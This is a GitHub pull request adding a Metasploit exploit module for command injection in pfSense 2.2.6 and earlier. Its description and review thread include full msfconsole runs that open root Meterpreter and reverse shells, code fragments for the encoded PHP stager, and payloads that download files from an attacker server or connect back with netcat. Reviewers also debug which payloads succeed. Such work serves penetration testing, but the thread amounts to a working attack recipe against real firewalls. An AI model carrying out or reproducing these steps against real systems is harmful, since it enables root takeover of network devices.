Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

pfsense graph <= 2.2.6 exploit #9362

Merged
merged 5 commits into from Jan 4, 2018
Merged

pfsense graph <= 2.2.6 exploit #9362

merged 5 commits into from Jan 4, 2018

Conversation

wetw0rk
Copy link
Contributor

@wetw0rk wetw0rk commented Jan 1, 2018

Description

This module exploits a vulnerability in pfSense version 2.2.6 and before which allows an authenticated user to execute arbitrary operating system commands as root.

Vulnerable Application

This module has been tested successfully on version 2.2.6-RELEASE, 2.2.5-RELEASE, and 2.1.3-RELEASE

Installers:

Verification Steps

  1. Start msfconsole
  2. Do: use exploit/unix/http/pfsense_graph_injection_exec
  3. Do: set RHOST [IP]
  4. Do: set USERNAME [username]
  5. Do: set PASSWORD [password]
  6. Do: set LHOST [IP]
  7. Do: exploit

Scenarios

pfSense Community Edition 2.2.6-RELEASE

msf exploit(unix/http/pfsense_graph_injection_exec) > options 

Module options (exploit/unix/http/pfsense_graph_injection_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  pfsense          yes       Password to login with
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST     192.168.75.132   yes       The target address
   RPORT     443              yes       The target port (TCP)
   SSL       true             no        Negotiate SSL/TLS for outgoing connections
   USERNAME  admin            yes       User to login with
   VHOST                      no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.75.128   yes       The listen address
   LPORT  80               yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf exploit(unix/http/pfsense_graph_injection_exec) > exploit

[*] Started reverse TCP handler on 192.168.75.128:80 
[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
[*] Triggering the payload, root shell incoming...
[*] Sending stage (37543 bytes) to 192.168.75.132
[*] Meterpreter session 1 opened (192.168.75.128:80 -> 192.168.75.132:34381) at 2018-01-01 02:07:03 -0600

meterpreter > getuid
Server username: root (0)
meterpreter > 

pfSense Community Edition 2.1.3-RELEASE

msf exploit(unix/http/pfsense_graph_injection_exec) > options 

Module options (exploit/unix/http/pfsense_graph_injection_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  pfsense          yes       Password to login with
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST     192.168.75.131   yes       The target address
   RPORT     443              yes       The target port (TCP)
   SSL       true             no        Negotiate SSL/TLS for outgoing connections
   USERNAME  admin            yes       User to login with
   VHOST                      no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.75.128   yes       The listen address
   LPORT  80               yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf exploit(unix/http/pfsense_graph_injection_exec) > exploit

[*] Started reverse TCP handler on 192.168.75.128:80 
[*] Detected pfSense 2.1.3-RELEASE, uploading intial payload
[*] Triggering the payload, root shell incoming...
[*] Sending stage (37543 bytes) to 192.168.75.131
[*] Meterpreter session 1 opened (192.168.75.128:80 -> 192.168.75.131:45257) at 2018-01-01 01:03:05 -0600

meterpreter > getuid
Server username: root (0)
meterpreter > 

@wetw0rk wetw0rk changed the title pfsense graph sploit pfsense graph <= 2.2.6 exploit Jan 1, 2018
@h00die
Copy link
Contributor

h00die commented Jan 1, 2018

Please add module docs to this

@wetw0rk
Copy link
Contributor Author

wetw0rk commented Jan 1, 2018

added module docs

@h00die h00die self-assigned this Jan 1, 2018
@h00die
Copy link
Contributor

h00die commented Jan 1, 2018

I have some pfsense vms from the modules I wrote, so I'll give this a test later today

@wetw0rk
Copy link
Contributor Author

wetw0rk commented Jan 1, 2018

Sounds great thanks :)

end
# If the device isn't fully setup, you get stuck at redirects to wizard.php
# however, this does NOT stop exploitation strangely
print_error("pfSense version not detected or wizard still enabled.")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

single quotes

filename = rand_text_alpha(rand(20))

# generate the PHP meterpreter payload
stager = "echo \'<?php "
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

single quotes

# don't look
complete_stage = ""
for i in 0..(stager.length()-1)
if "#{version}" =~ /2.2/
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This can be shortened.

if version.to_s =~ /2.2/
  complete_stage << '\\'
end
complete_stage << "\\#{stager[i].ord.to_s(8)}"

begin
cookie = login
version = detect_version(cookie)
filename = rand_text_alpha(rand(20))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

20 seems excessive, maybe 8 or 10?

'uri' => '/status_rrd_graph_img.php',
'method' => 'GET',
'headers' => {
'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think all of these headers are required.
My guess is the following could be removed:

  • user-agent
  • Accept
  • Accept-Language
  • Accept-Encoding
  • Origin
  • Connection

if res && res.code == 200
print_status("Triggering the payload, root shell incoming...")
else
print_error("Failed to upload the initial payload...")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

single quotes

'uri' => '/status_rrd_graph_img.php',
'method' => 'GET',
'headers' => {
'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

you can prob remove a bunch of these headers

---- --------------- -------- -----------
PASSWORD pfsense yes Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.75.132 yes The target address
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Typically I blank out the lhost to be 1.1.1.1 and rhost to 2.2.2.2, not only does it protect potential customer privacy (i see its a VM here), but saves a few characters as well

[*] Sending stage (37543 bytes) to 192.168.75.132
[*] Meterpreter session 1 opened (192.168.75.128:80 -> 192.168.75.132:34381) at 2018-01-01 02:07:03 -0600

meterpreter > getuid
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

usually i thorw a uname -a here too, shows the kernel and architecture. On a set image it isn't as important, but just something for the future

### pfSense Community Edition 2.2.6-RELEASE

```
msf exploit(unix/http/pfsense_graph_injection_exec) > options
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Typically I prefer seeing the options being set ie:

use unix/http/pfesense_graph_injection_exec
set rhost ...
set ...

That takes less lines and shows any non-defaults being set as opposed to show options. Just for future note

@wetw0rk
Copy link
Contributor Author

wetw0rk commented Jan 1, 2018

I added the requested changes and tested php/reverse_php which comes in at 4086 bytes, the default payload php/meterpreter/reverse_tcp comes in at 1503 bytes. I also went ahead and updated the module docs just to get in the habit.

@h00die
Copy link
Contributor

h00die commented Jan 2, 2018

Against my 2.2.6:

php reverse meterp looks good:

msf exploit(unix/http/pfsense_graph_injection_exec) > exploit

[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] CSRF Token for login: sid:96d4d8cbf26f8a5f5f5e1c92f30d78cfd401e292,1514859464;ip:69f735c871af94039348d37da3fabe2cfc6f9642,1514859464
[*] Authentication successful: admin:pfsense
[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[*] Sending stage (37543 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:13744) at 2018-01-01 21:17:45 -0500

meterpreter > sysinfo
Computer    : pfSense.localdomain
OS          : FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015     root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10 amd64
Meterpreter : php/freebsd
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 2.2.2.2 - Meterpreter session 1 closed.  Reason: User exit

php/bind_perl fails. doesn't seem to be a firewall thing since other binds dont fail. Either the perl is not compatible, or something else is going on.

msf exploit(unix/http/pfsense_graph_injection_exec) > set payload php/bind_perl
payload => php/bind_perl
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit

[*] Started bind handler
[*] CSRF Token for login: sid:afc3b9d4818341c2fb4bcd7c20982b5222137cee,1514859548;ip:abd38bb342d8c3358a4c4ff6d0b8af242e6316a8,1514859548
[*] Authentication successful: admin:pfsense
[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[*] Exploit completed, but no session was created.

bind meterp is good

msf exploit(unix/http/pfsense_graph_injection_exec) > set payload php/meterpreter/bind_tcp
payload => php/meterpreter/bind_tcp
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit

[*] Started bind handler
[*] CSRF Token for login: sid:86bc58b00eadea832baa2cdb2dc162cc35e44c59,1514859569;ip:262b5ea2303f10788798d7840a9f8dc157a8a190,1514859569
[*] Authentication successful: admin:pfsense
[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[*] Sending stage (37543 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:34245 -> 2.2.2.2:4444) at 2018-01-01 21:19:31 -0500

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 2.2.2.2 - Meterpreter session 2 closed.  Reason: User exit

bind php is no good

msf exploit(unix/http/pfsense_graph_injection_exec) > set payload php/bind_php
payload => php/bind_php
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit

[*] Started bind handler
[*] CSRF Token for login: sid:6fdec916ce9fd11c544a4f709f709c9d6014ca26,1514859637;ip:21e305e3e842f0e3c0420693e0953753fab6e9dd,1514859637
[*] Authentication successful: admin:pfsense
[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[*] Exploit completed, but no session was created.

reverse perl also fails.

msf exploit(unix/http/pfsense_graph_injection_exec) > set payload php/reverse_perl
payload => php/reverse_perl
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit

[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] CSRF Token for login: sid:819228c1fd62c62baa31c81aa736712f5a76bc8e,1514859651;ip:d80f2f35ee35989aeabe4fbfae002a68a91329af,1514859651
[*] Authentication successful: admin:pfsense
[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[*] Exploit completed, but no session was created.
msf exploit(unix/http/pfsense_graph_injection_exec) > 

In the other pfsense module, you see i specified only allowed perl and openssl payloads because all the other ones seemed to fail. You'll want to go through and double check which work and which dont and either debug to figure out why, or exclude them.
Personally, i think everyone would just go for a php meterp, so it depends how much time you want to spend, but im ok just excluding a bunch of payloads that dont work instead of debugging.

@wetw0rk
Copy link
Contributor Author

wetw0rk commented Jan 2, 2018

So, if I wanted to only allow php/meterpreter/reverse_tcp, php/meterpreter/reverse_tcp_uuid, and php/reverse_php how would I do that? Those seem to be the most reliable. Edit: I forgot to mention that when I tested php/meterpreter/bind_tcp It appeared that the shell was not functioning. If it worked on your end though then I think we should leave it.

msf exploit(unix/http/pfsense_graph_injection_exec) > exploit

[*] Started bind handler
[*] Sending stage (37543 bytes) to 192.168.75.134
[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[*] Meterpreter session 1 opened (192.168.75.128:45113 -> 192.168.75.134:80) at 2018-01-01 22:22:52 -0600

meterpreter > getuid
[-] Unknown command: getuid.
meterpreter > ls
[-] Unknown command: ls.
	'Payload'         =>
          {
            'Compat' =>
              {
                'PayloadType' => 'reverse_tcp',
		'RequiredCmd' => 'php meterpreter',
	      }
	  },

@h00die
Copy link
Contributor

h00die commented Jan 3, 2018

you set the bind shell port to 80, so when it connected it went to the default web server, assumed it was meterp (incorrectly) and acted like the session was open even though it wasn't.

I'm not 100% familiar with this portion of MSF and modifying which payloads are accepted for non-cmd payloads.
However,

is a good reference for removing bind shells, and i think if you search around a bit you may be able to find something to remove non-meterp payloads. That would more or less do it I think

@h00die
Copy link
Contributor

h00die commented Jan 3, 2018

oh yea, another thing, you may want to look into register the php page that was created for cleanup so its automatically removed.
That may be payload dependent if you thread off or not, my memory is hazy at the moment, but something i thought of this morning

@wetw0rk
Copy link
Contributor Author

wetw0rk commented Jan 3, 2018

Alright I went ahead and pushed some changes (thank you for recommending FileDropper). When testing the allowed payloads all seem to work (now). The only issue I have faced is when using php/reverse_perl with FileDropper it seems to fail, yet without FileDropper I do get a shell. Below are my test results.

php/meterpreter/reverse_tcp

msf > use exploit/unix/http/pfsense_graph_injection_exec
msf exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf exploit(unix/http/pfsense_graph_injection_exec) > set RHOST 2.2.2.2
RHOST => 2.2.2.2
msf exploit(unix/http/pfsense_graph_injection_exec) > set LPORT 80
LPORT => 80
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit

[*] Started reverse TCP handler on 1.1.1.1:80 
[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[*] Sending stage (37543 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:80 -> 2.2.2.2:43123) at 2018-01-03 13:46:01 -0600
[+] Deleted xxUd

meterpreter > 

php/download_exec

msf > use exploit/unix/http/pfsense_graph_injection_exec
msf exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf exploit(unix/http/pfsense_graph_injection_exec) > set RHOST 2.2.2.2
RHOST => 2.2.2.2
msf exploit(unix/http/pfsense_graph_injection_exec) > set LPORT 80
LPORT => 80
msf exploit(unix/http/pfsense_graph_injection_exec) > set PAYLOAD php/download_exec
PAYLOAD => php/download_exec
msf exploit(unix/http/pfsense_graph_injection_exec) > set URL http://1.1.1.1/test
URL => http://1.1.1.1/test
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit

[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[!] This exploit may require manual cleanup of 'JWQYBOZbtb' on the target
[*] Exploit completed, but no session was created.

------SimpleHTTPServer PORT 80------
root@kali:~# touch test
root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
2.2.2.2 - - [03/Jan/2018 13:47:57] "GET /test HTTP/1.0" 200 -

php/exec

msf > use exploit/unix/http/pfsense_graph_injection_exec
msf exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf exploit(unix/http/pfsense_graph_injection_exec) > set RHOST 2.2.2.2
RHOST => 2.2.2.2
msf exploit(unix/http/pfsense_graph_injection_exec) > set LPORT 80
LPORT => 80
msf exploit(unix/http/pfsense_graph_injection_exec) > set PAYLOAD php/exec
PAYLOAD => php/exec
msf exploit(unix/http/pfsense_graph_injection_exec) > set CMD "nc 1.1.1.1 88"
CMD => nc 1.1.1.1 88
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit

[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[!] This exploit may require manual cleanup of 'PQD' on the target
[*] Exploit completed, but no session was created.
------Netcat Listener------
root@kali:~# nc -lvp 88
listening on [any] 88 ...
2.2.2.2: inverse host lookup failed: Unknown host
connect to [1.1.1.1] from (UNKNOWN) [2.2.2.2] 58264

php/meterpreter_reverse_tcp <--- Fail

php/reverse_perl (without cleanup)

msf > use exploit/unix/http/pfsense_graph_injection_exec
msf exploit(unix/http/pfsense_graph_injection_exec) > set RHOST 2.2.2.2
RHOST => 2.2.2.2
msf exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf exploit(unix/http/pfsense_graph_injection_exec) > set PAYLOAD php/reverse_perl
PAYLOAD => php/reverse_perl
msf exploit(unix/http/pfsense_graph_injection_exec) > set LPORT 34
LPORT => 34
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit

[*] Started reverse TCP handler on 1.1.1.1:34 
[*] Detected pfSense 2.1.3-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[*] Command shell session 2 opened (1.1.1.1:34 -> 2.2.2.2:33837) at 2018-01-03 12:58:14 -0600

uname -a          
FreeBSD pfSense.localdomain 8.3-RELEASE-p16 FreeBSD 8.3-RELEASE-p16 #0: Thu May  1 16:19:14 EDT 2014     root@pf2_1_1_amd64.pfsense.org:/usr/obj.amd64/usr/pfSensesrc/src/sys/pfSense_SMP.8  amd64

php/reverse_perl (with cleanup)

msf exploit(unix/http/pfsense_graph_injection_exec) > exploit

[*] Started reverse TCP handler on 1.1.1.1:24 
[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[!] This exploit may require manual cleanup of 'QbJy' on the target
[*] Exploit completed, but no session was created.

php/reverse_php

msf > use exploit/unix/http/pfsense_graph_injection_exec
msf exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf exploit(unix/http/pfsense_graph_injection_exec) > set RHOST 2.2.2.2
RHOST => 2.2.2.2
msf exploit(unix/http/pfsense_graph_injection_exec) > set PAYLOAD php/reverse_php
PAYLOAD => php/reverse_php
msf exploit(unix/http/pfsense_graph_injection_exec) > set LPORT 9
LPORT => 9
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit

[*] Started reverse TCP handler on 1.1.1.1:9 
[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[*] Command shell session 1 opened (1.1.1.1:9 -> 2.2.2.2:27003) at 2018-01-03 13:56:53 -0600
[+] Deleted LNzMS
whoami
root

@wetw0rk
Copy link
Contributor Author

wetw0rk commented Jan 3, 2018

Oh I forgot to mention I also changed line 128

filename = rand_text_alpha(rand(1..10))

When using rand(10) there were cases where the payload would be uploaded as ' '. Which of course would mean nothing gets uploaded.

@h00die
Copy link
Contributor

h00die commented Jan 4, 2018

strangely php/meterpreter/reverse_tcp isn't listed for me as a payload.
its set as the default, but if you do set payload php/meterpreter/reverse_tcp it wont load it

'Space' => 6000,
'Compat' =>
{
'Arch' => 'php',
Copy link
Contributor

@h00die h00die Jan 4, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

if you get rid of this line, the staged meterpreters show back up. I think thats the way to go at this point and with that last change i'll be happy to land.

@wetw0rk
Copy link
Contributor Author

wetw0rk commented Jan 4, 2018

Alright I went ahead and removed the requested line.

@h00die h00die merged commit c9d6d0a into rapid7:master Jan 4, 2018
h00die added a commit that referenced this pull request Jan 4, 2018
@h00die
Copy link
Contributor

h00die commented Jan 4, 2018

nice work! Welcome to being a contributor 🎈 🎉 .
Thanks for all the changes and updates and being patient.

@h00die
Copy link
Contributor

h00die commented Jan 4, 2018

Release Notes

This module adds an exploit against PFSense firewalls which results in RCE.

@wetw0rk
Copy link
Contributor Author

wetw0rk commented Jan 4, 2018

Thank you for all the help 😄 !

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants